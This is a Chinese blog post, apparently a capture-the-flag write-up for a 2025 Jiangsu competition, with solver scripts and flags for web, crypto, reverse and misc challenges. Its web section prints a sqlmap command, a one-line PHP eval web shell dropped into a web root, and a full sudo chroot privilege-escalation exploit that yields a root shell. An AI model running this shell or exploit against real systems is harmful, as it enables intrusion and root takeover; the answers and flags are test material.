{"id":168,"date":"2025-10-16T16:18:06","date_gmt":"2025-10-16T08:18:06","guid":{"rendered":"http:\/\/blog.which778.cn\/?p=168"},"modified":"2025-10-16T16:21:06","modified_gmt":"2025-10-16T08:21:06","slug":"%e6%b1%9f%e8%8b%8f%e7%9c%812025%e5%b9%b4%e9%a2%86%e8%88%aa%e6%9d%af%e9%ab%98%e8%81%8c%e7%bb%84%e5%88%9d%e8%b5%9bwp","status":"publish","type":"post","link":"http:\/\/blog.which778.cn\/?p=168","title":{"rendered":"\u6c5f\u82cf\u77012025\u5e74\u9886\u822a\u676f\u9ad8\u804c\u7ec4\u521d\u8d5bwp"},"content":{"rendered":"

WEB<\/h2>\n

sqllogic<\/h3>\n

\"\"<\/p>\n

sqlmap\u4e00\u628a\u68ad<\/p>\n

sqlmap -u "http:\/\/123.56.252.211:10664\/search\/results?query=1"  --columns --batch<\/code><\/pre>\n
\"\"<\/p>\n
2345<\/h3>\n
\"\"<\/p>\n
\"\"<\/p>\n
#!\/bin\/bash\necho '<?php @eval($_POST[1]);?>' > \/var\/www\/html\/1.php<\/code><\/pre>\n
\"\"
\nEXP<\/strong><\/p>\n
#!\/bin\/bash\n# sudo-chwoot.sh\n# CVE-2025-32463 \u2013 Sudo EoP Exploit PoC by Rich Mirch\n#                  @ Stratascale Cyber Research Unit (CRU)\nSTAGE=$(mktemp -d \/tmp\/sudowoot.stage.XXXXXX)\ncd ${STAGE?} || exit 1\n\nif [ $# -eq 0 ]; then\n    # If no command is provided, default to an interactive root shell.\n    CMD="\/bin\/bash"\nelse\n    # Otherwise, use the provided arguments as the command to execute.\n    CMD="$@"\nfi\n\n# Escape the command to safely include it in a C string literal.\n# This handles backslashes and double quotes.\nCMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's\/\\\\\/\\\\\\\\\/g' -e 's\/"\/\\\\"\/g')\n\ncat > woot1337.c<<EOF\n#include <stdlib.h>\n#include <unistd.h>\n\n__attribute__((constructor)) void woot(void) {\n  setreuid(0,0);\n  setregid(0,0);\n  chdir("\/");\n  execl("\/bin\/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);\n}\nEOF\n\nmkdir -p woot\/etc libnss_\necho "passwd: \/woot1337" > woot\/etc\/nsswitch.conf\ncp \/etc\/group woot\/etc\ngcc -shared -fPIC -Wl,-init,woot -o libnss_\/woot1337.so.2 woot1337.c\n\necho "woot!"\nsudo -R woot woot\nrm -rf ${STAGE?}\n<\/code><\/pre>\n
\"\"<\/p>\n
CnHongKe{d615970bc4725ca2881af2c3feb0478a}<\/code><\/pre>\n
crypto<\/h2>\n
RSA<\/h3>\n
import math\nfrom Crypto.Util.number import long_to_bytes\n\n# \u516c\u94a51\nn1 = 153769429480303617525099446277946814072623699231110076379273887722757242160765481869559851273788780678450984350909422818822414195985904573538648872713001201186504130900961170308735898186613895138737221441119689327098326438415593690968056711455002853456141239017564889447759315623956965233123367775181646463569\ne = 65537\n\n# \u516c\u94a52\nn2 = 104741687430424523714786838478654234509265282246882484069496166175381236589633075928091648124588105538388830214365853463306941016687480102941822292757450627262029551405196554479715290287606263306870475686502875025646881346075090866048971120570514658724118468822867615873644463611997913110796731320134873655071\n\n# \u516c\u94a53\nn3 = 127072523229705801684095912018779375714501598330019912184765605931059131688615461978170306674551422134507076144032643128022879195693745968822183650241544472860326887122832604708994522012049084908928620657112827244844150157797045263197408968602048073217656506951825187944811122881707826260751105841295980719593\n\n# \u5bc6\u6587\nc = 125315412895807928335784519235211559769835144982922061354440492259897286082293685249810142346705833079386440140091617837339173206443361677162294508248433428570994672827456799069304880986139464481853116113853220664980118573544406369602232717389746738053340393648121384563287904457831635232936065570243703247333\n\nprint(\"\u68c0\u67e5\u662f\u5426\u5b58\u5728\u516c\u56e0\u5b50...\")\n\n# \u68c0\u67e5n1\u548cn2\u7684\u6700\u5927\u516c\u7ea6\u6570\ngcd12 = math.gcd(n1, n2)\nprint(f\"gcd(n1, n2) = {gcd12}\")\n\n# \u68c0\u67e5n1\u548cn3\u7684\u6700\u5927\u516c\u7ea6\u6570\ngcd13 = math.gcd(n1, n3)\nprint(f\"gcd(n1, n3) = {gcd13}\")\n\n# \u68c0\u67e5n2\u548cn3\u7684\u6700\u5927\u516c\u7ea6\u6570\ngcd23 = math.gcd(n2, n3)\nprint(f\"gcd(n2, n3) = {gcd23}\")\n\n# \u5982\u679c\u627e\u5230\u516c\u56e0\u5b50,\u8fdb\u884c\u5206\u89e3\nif gcd12 > 1:\n    print(f\"\\n\u627e\u5230n1\u548cn2\u7684\u516c\u56e0\u5b50: {gcd12}\")\n    p = gcd12\n    q1 = n1 \/\/ p\n    q2 = n2 \/\/ p\n    print(f\"n1 = {p} * {q1}\")\n    print(f\"n2 = {p} * {q2}\")\n\n    # \u5c1d\u8bd5\u7528n1\u89e3\u5bc6\n    phi1 = (p - 1) * (q1 - 1)\n    d1 = pow(e, -1, phi1)\n    m = pow(c, d1, n1)\n    flag = long_to_bytes(m)\n    print(f\"\\n\u4f7f\u7528n1\u89e3\u5bc6: {flag}\")\n\nif gcd13 > 1:\n    print(f\"\\n\u627e\u5230n1\u548cn3\u7684\u516c\u56e0\u5b50: {gcd13}\")\n    p = gcd13\n    q1 = n1 \/\/ p\n    q3 = n3 \/\/ p\n    print(f\"n1 = {p} * {q1}\")\n    print(f\"n3 = {p} * {q3}\")\n\n    # \u5c1d\u8bd5\u7528n1\u89e3\u5bc6\n    phi1 = (p - 1) * (q1 - 1)\n    d1 = pow(e, -1, phi1)\n    m = pow(c, d1, n1)\n    flag = long_to_bytes(m)\n    print(f\"\\n\u4f7f\u7528n1\u89e3\u5bc6: {flag}\")\n\nif gcd23 > 1:\n    print(f\"\\n\u627e\u5230n2\u548cn3\u7684\u516c\u56e0\u5b50: {gcd23}\")\n    p = gcd23\n    q2 = n2 \/\/ p\n    q3 = n3 \/\/ p\n    print(f\"n2 = {p} * {q2}\")\n    print(f\"n3 = {p} * {q3}\")\n\n    # \u5c1d\u8bd5\u7528n2\u89e3\u5bc6\n    phi2 = (p - 1) * (q2 - 1)\n    d2 = pow(e, -1, phi2)\n    m = pow(c, d2, n2)\n    flag = long_to_bytes(m)\n    print(f\"\\n\u4f7f\u7528n2\u89e3\u5bc6: {flag}\")<\/code><\/pre>\n
\"\"<\/p>\n
CnHongKe{RSA_Factor_collision}<\/code><\/pre>\n
\u7b80\u5355\u7684\u52a0\u5bc6<\/h3>\n
from Crypto.Util.number import isPrime, long_to_bytes\n\n# Given values\nxp = 128828824995833818676165843190145859846666191445111620864627041498262245661016272202610927130234264180024813400101811794568199789497304640888935610074527111735848036421350574354570382572071378693075501517651681167292494054044976417262720643752582801173329160691730958462999401681828410402624171054528487701250\nxq = 93501864073083147736690555206986500352821561022722329409454421331522568252562336489380752764482378243293382437917734686276648657072965746683388224901642327741574194758168471142399011800111424540627796995389245806705358641695171454225060506776033714187806384242662410691416714061445225830804351743270693121372\nxr = 105144997607517188001928065861721085151458500237362541144517526507829179446054616971830089339946039703176024806995930348425831607517690274084049167991564629577993384711086337120614791461782308672504887558723523293013197628325711741922614481250160020165126154205820339228701043543193135643189871148550415187754\nxs = 94042557806455290017533368381016830673179627779094170764530475587270704798141833062898858761785570382721745371796537038402431708414498336803427155046473079552324742754878551180385512585438429908432609863042492144422038859638752336244969821224284661504394361784560575917229767348151089936323070236673875593712\nxt = 115594002625792151804923109920889964947182530612219522161996511821327755748271726529203452220377801144567805098461740554220527265119790574899164813600030062051737769028153904929475006131181414206071792099760783853052588906957339435715505148998168863245482181389617108685315173753203529355444248415589964563266\ne = 65537\nN = 13768342636197422304108795246275445967258641652316544453296082236160656248707267721982004373176441942766885427374230049495849901175065942806910339849529322895290083359465104367183088306236191085678167669511362291306468633216535747606889749365259254894702826523442727185050983898733297718141433625792021860096524462678559682734341585154525575647451003761903461413612824889932194540610920552883385126732378435297866284444297906528374412952296800239150586362936056193994908627667719326616138012726943831001847015267804010154104110559100836442001601924797615706682731073713164007060867783148342583181788458193661450452931842513273461021062581477545558571339021209337066016371165905298504298716810524028910898158345277213271752745059877760310870997947311552172141528759161534652496502254755758081938503065288753667472451654272929508728816800566840911928192632562488840795792835400802239092167722551047109923659984356369241614138483265802787439007856122854957666900281868710137011480905791834181203739248946762340824884326967370941119007669361328177488819208137083244171589394888655376850549724240949245226710926599304882791816475420018375478005474378090953210718637003297616537680898021315617608420694645032162429264914513746585824730288392980964264908404687944973472494605215440614705549788380303412439753538674566658859770480726822013741901657165959413925010146614104197911851836517581884355304343194397781221442417117454953952460810354720454937221995544494297618185953174037057112206638590168886580331712922507978337805445955280498907868853003\nc = 3439394905782166441237506498757611634998714141967377265411887755183464830334310354099515705754305002453845144284962714493539352810656133902003574128040654732436372908629497886338030606669073185543483523322596108069277796053671242765145978964276489518561416450500971726036585469228102661139692387134453425034514593366519122828410223317311340019214789974257435550120228004472434150629204069661830887363254828526876378522199868362337226780796846608372402557761920573702765258750443160846557153090059064440434346724426460715389019886439838122991032863863340406305841768977271080103507522772324112521643561293330388467509344769916630100806468976640618082578062650775925726334041667328845728195479322234102185934327287314162854772787028760132802923512396238244054062505138988980024436004412713692853733234338730738962165223008806908494845064188562433621027494153054235518266396428664964688598368429580020076077007462387248780075769829446962399209903659674553446709085845766757501999096681846762793969620923766819178695482626653824918978362878571925866996523551223563857125205635241897776460707451261913577017129666152670711880793310692446330139817413931583810554880608441575471540050582658898956625685227344260622059696808482979718413943588193029974948213358126236143000182326987392324674999364168681277849168288214531908472309090186259078173635685596280815852978436316050958960030797731778562439965277821667360684967607722094740294605279702828546177255869762606665589928863794661494707994930291929877434775364757747351457394364263523273286543463\n\n# Calculate A, B, C, D\nA = xp ^ xq\nB = xp ^ xr\nC = xp ^ xs\nD = xp ^ xt\n\n# Initialize candidates for p\ncandidates = [1]  # LSB of p is 1\n\n# Iterate from bit 1 to bit 1023\nmax_bits = 1024\n\nfor i in range(1, max_bits):\n    new_candidates = []\n    mask = (1 << (i+1)) - 1\n    n_low = N & mask\n    for p_val in candidates:\n        for bit in [0, 1]:\n            p_new = p_val | (bit << i)\n            # Calculate the low i+1 bits of q, r, s, t\n            q_new = (p_new ^ A) & mask\n            r_new = (p_new ^ B) & mask\n            s_new = (p_new ^ C) & mask\n            t_new = (p_new ^ D) & mask\n            # Compute the product modulo 2^(i+1)\n            product = (p_new * q_new * r_new * s_new * t_new) & mask\n            if product == n_low:\n                new_candidates.append(p_new)\n    candidates = new_candidates\n    if i % 50 == 0:\n        print(f"Progress: bit {i}, candidates: {len(candidates)}")\n    if len(candidates) == 0:\n        print("No candidates at bit", i)\n        break\n\nprint(f"After {max_bits} bits, number of candidates: {len(candidates)}")\n\n# Check the candidates\nfor p in candidates:\n    q = p ^ A\n    r = p ^ B\n    s = p ^ C\n    t = p ^ D\n    if p * q * r * s * t == N:\n        print("Product matches N!")\n        if isPrime(p) and isPrime(q) and isPrime(r) and isPrime(s) and isPrime(t):\n            print("All primes verified!")\n            F = p ^ xp\n            flag = long_to_bytes(F)\n            print("Flag:", flag.decode())\n            break\nelse:\n    print("No valid candidate found.")<\/code><\/pre>\n
CnHongKe{e34a953cceb1f52c34865cfc98b6ced1}<\/code><\/pre>\n
REVERSE<\/h2>\n
re4<\/h3>\n
key = [0x66, 0x6C, 0x61, 0x67]  # "flag"\ncipher = [\n    0x25, 0x02, 0x29, 0x08, 0x08, 0x0B, 0x2A, 0x02,\n    0x1D, 0x5E, 0x02, 0x01, 0x53, 0x0E, 0x58, 0x05,\n    0x5F, 0x59, 0x50, 0x50, 0x53, 0x54, 0x55, 0x55,\n    0x02, 0x58, 0x56, 0x52, 0x57, 0x5C, 0x57, 0x53,\n    0x56, 0x55, 0x02, 0x05, 0x51, 0x0D, 0x54, 0x02,\n    0x56, 0x11, 0x61\n]\n\nflag = ""\nfor i in range(len(cipher)):\n    decrypted = cipher[i] ^ key[i % 4]\n    flag += chr(decrypted)\n\nprint(flag)<\/code><\/pre>\n
CnHongKe{2cf5b9b95175842d475106409cb7a5e0}<\/code><\/pre>\n
MISC<\/h2>\n
mv\u5207\u7247<\/h3>\n
\"\"<\/p>\n
CnHongKe{N3v3r_G0nna_G1Ve_Y0u_Up}<\/code><\/pre>\n
ftpconfix<\/h3>\n
\u5728\u6570\u636e\u530556\u4e2d\u53d1\u73b0Base58\u7f16\u7801\u7684\u6570\u636e:<\/p>\n
9XUnxxRh9REHLRUSizjk3HJ1cfX7kgCtXxMyA9Sv7M8Z66ntasgqAhau88UbGGhwZA<\/code><\/pre>\n
\u89e3\u7801\uff08\u5341\u516d\u8fdb\u5236\uff09:<\/p>\n
e869d6e17648b0fcac51ff60c0604f382bbf44daad80c5fc970c5a51d373a67a71218f9b7f73536f210b974af8f11071<\/code><\/pre>\n
\u5728\u538b\u7f29\u5305\u4e2d\u53d1\u73b0\u5982\u4e0b\u63d0\u793a\uff1a<\/p>\n
=== CONFIDENTIAL FINANCIAL REPORT ===\nQuarter: Q2 2024\nRevenue: $12,450,000\nExpenses: $8,210,000\nNet Profit: $4,240,000\n\nKey Metrics:\n- Customer Growth: +18%\n- Market Share: 22.4%\n\nNote: All sensitive data is encrypted. Flag: CnHongKe{THIS_IS_A_DECOY}\nHint: Why not Base64? Try Base58 for better stealth.\n\nKey hint: SHA256 fragment ; IV hint: time struct (!HBBBBBB,year,month,day,hour,minute,second,0) + zero padding<\/code><\/pre>\n
\u63d0\u53d6\u5173\u952e\u4fe1\u606f<\/p>\n
- \u5bc6\u94a5\u6765\u6e90: ftp_key<\/code> (\u9700\u8981SHA256\u54c8\u5e0c\u5904\u7406)<\/p>\n
- IV\u6784\u9020\u65b9\u5f0f: \u65f6\u95f4\u7ed3\u6784 (!HBBBBBB,year,month,day,hour,minute,second,0)<\/code> + \u96f6\u586b\u5145<\/p>\n
- \u65f6\u95f4: 2024\u5e743\u670815\u65e5 09:30:00<\/p>\n
- \u52a0\u5bc6\u7b97\u6cd5: AES (\u6839\u636e\u5bc6\u94a5\u957f\u5ea6\u548cIV\u957f\u5ea6\u5224\u65ad)<\/p>\n
- \u52a0\u5bc6\u6a21\u5f0f: CBC (\u6839\u636e\u9700\u8981IV\u5224\u65ad)<\/p>\n
\u6784\u9020\u5bc6\u94a5\u548cIV<\/p>\n
\u6784\u9020IV<\/p>\n
from Crypto.Cipher import AES\nfrom Crypto.Util.Padding import unpad\nimport hashlib\nimport struct\n\n# \u5bc6\u6587\nciphertext = bytes.fromhex("e869d6e17648b0fcac51ff60c0604f382bbf44daad80c5fc970c5a51d373a67a71218f9b7f73536f210b974af8f11071")\n\n# \u5bc6\u94a5: SHA256("ftp_key")\u7684\u524d16\u5b57\u8282\nkey = hashlib.sha256(b"ftp_key").digest()[:16]\n\n# IV: \u4ece\u65f6\u95f4\u62332024-03-15 09:30:12\u6784\u9020\niv = struct.pack('!HBBBBBB', 2024, 3, 15, 9, 30, 12, 0) + b'\\x00' * 9\n\n# AES-128-CBC\u89e3\u5bc6\ncipher = AES.new(key, AES.MODE_CBC, iv)\nplaintext = unpad(cipher.decrypt(ciphertext), 16)\n\n# \u7ed3\u679c\nprint(plaintext.decode('utf-8'))<\/code><\/pre>\n
CnHongKe{FTP_Exf1l_v1a_Mult1_Ch4nn3l}<\/code><\/pre>\n